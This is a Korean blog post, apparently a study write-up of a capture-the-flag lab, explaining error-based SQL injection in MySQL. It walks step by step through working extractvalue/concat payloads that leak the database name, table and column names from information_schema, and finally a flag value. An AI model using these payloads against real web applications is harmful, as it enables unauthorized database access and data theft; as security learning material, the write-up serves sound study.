본문 바로가기

웹 해킹/SQL Injection

[SQL Injection] Error Based SQL Injection란? (공격 절차, 실습)

Error Based Sql Injection

데이터베이스 에러 메시지를 활용하여 데이터베이스에 대한 정보를 획득하는 공격 기법

 

보통 개발자는 개발을 할 때 어떤 코드에 오류가 있는지 확인하기 위해 일부러 에러 메시지가 출력되게 설정한다. 이것이 서버를 운영할 때 그대로 이어지는 경우가 많은데, 공격자는 이 에러 메시지를 악용한다.

 

에러를 유발하는 SQL 문을 삽입하여 도출되는 에러 메시지를 통해 공격자는 데이터베이스의 구조와 정보를 파악할 수 있다. 

 

DB 종류에 따라 다양한 문법과 함수를 활용할 수 있다.

 


[공격 절차]

 

1. SQL Injection 취약점 찾기

 

> 조작된 sql문을 삽입했을 때도 데이터가 출력되는지 확인

 

 

> 싱글쿼터를 하나 더 넣었을 때 에러 메시지가 출력되는지 확인

 

 

2. 에러를 출력할 함수 선택

> 에러를 출력하는 함수는 데이터베이스의 종류에 따라 다르므로 구글링 해보기

> Mysql의 경우 대표적으로 extractvalue(xml_frag, xpath_expr) 함수가 있다.

extractvalue 함수의 두번째 인자에 유효하지 않은 표현식이 들어오면 에러가 발생한다.

 

 

 

> 두번째 인자에 concat(0x3a, 'hi')를 넣었더니 xpath syntax error 메시지를 출력한다.

 

 

3. 공격 포맷 만들기 (가장 중요)

위 단계에서 두번째 인자로부터 에러가 발생해서 에러 메시지가 출력되는 것을 확인했다. 이것을 활용해서  'hi' 자리에 select 문을 삽입해서 우리가 얻고자 하는 정보가 에러 메시지에 출력되도록 한다. 공격 포맷은 다음과 같다.

 

> normaltic' and extractvalue('1', concat(0x3a, (select 문)) and '1'='1

 

이 포맷으로 DB 이름 출력부터 데이터 출력까지 쭉 이용할 것이기 때문에 여기서 잘 만들어 두는 것이 중요하다.

 

 

4. DB 이름 출력

db 이름을 출력하는 select 문: select database()

> aa' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1

 

errSqli라는 db 이름을 알아냈다.

 

 

5. 테이블 이름 출력

테이블 이름을 출력하는 select 문: select table_name from information_schema.tables where table_schema='db이름'

information_schema은 MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB다.

 

> aa' and extractvalue('1', concat(0x3a, (select table_name from information_schema.tables where table_schema='errSqli' limit 0,1))) and '1'='1

결과가 여러 개이면 에러 발생하므로 limit 사용하여 하나씩 출력한다.

 

 

errSqli DB에 저장된 첫번째 테이블의 이름이 flagTable인 것을 확인했다. 원하는 테이블이 나올 때까지 limit 인자를 변경해가며 출력한다. 여기서는 플래그 획득이 목적이니 더 이상 알아볼 필요가 없다.

 

 

6. 컬럼 이름 출력

컬럼 이름을 출력하는 select 문: select column_name from information_schema.columns where table_name = ‘flagTable’ limit 0,1

> aa' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'flagTable' limit 0,1))) and '1'='1

 

 

flagTable의 첫번째 컬럼은 idx다. 하지만 플래그와는 무관한 컬럼 같으니 이어서 구해본다.

 

> aa' and extractvalue('1', concat(0x3a, (select column_name from information_schema.columns where table_name = 'flagTable' limit 1,1))) and '1'='1

 

 

두번째 컬럼은 flag이다. 원하는 컬럼이 나온것 같다.

 

 

7. 특정 테이블의 특정 컬럼의 데이터 출력

이제 테이블 이름과 컬럼 이름을 모두 구했다. 이것을 이용해서 데이터만 확인하면 된다.

원하는 데이터를 출력하기 위한 select 문: select flag from flagTable limit 0,1

> aa' and extractvalue('1', concat(0x3a, (select flag from flagTable limit 0,1))) and '1'='1

 

 

첫 번째 데이터에 플래그가 저장되어 있었다. (혹시 몰라서 플래그는 가림)

 

 


error based sqli은 내용 자체가 어렵지 않았지만 무한 괄호 지옥이였다ㅜ 괄호 여러개가 연속돼서 나오니까 이게 맞는건지 빼먹은건지 계속 확인하는게 참 번거로웠다. 처음 공격 포맷을 잘 설정해서 이용하는게 매우 중요한 것같다.

 

끝!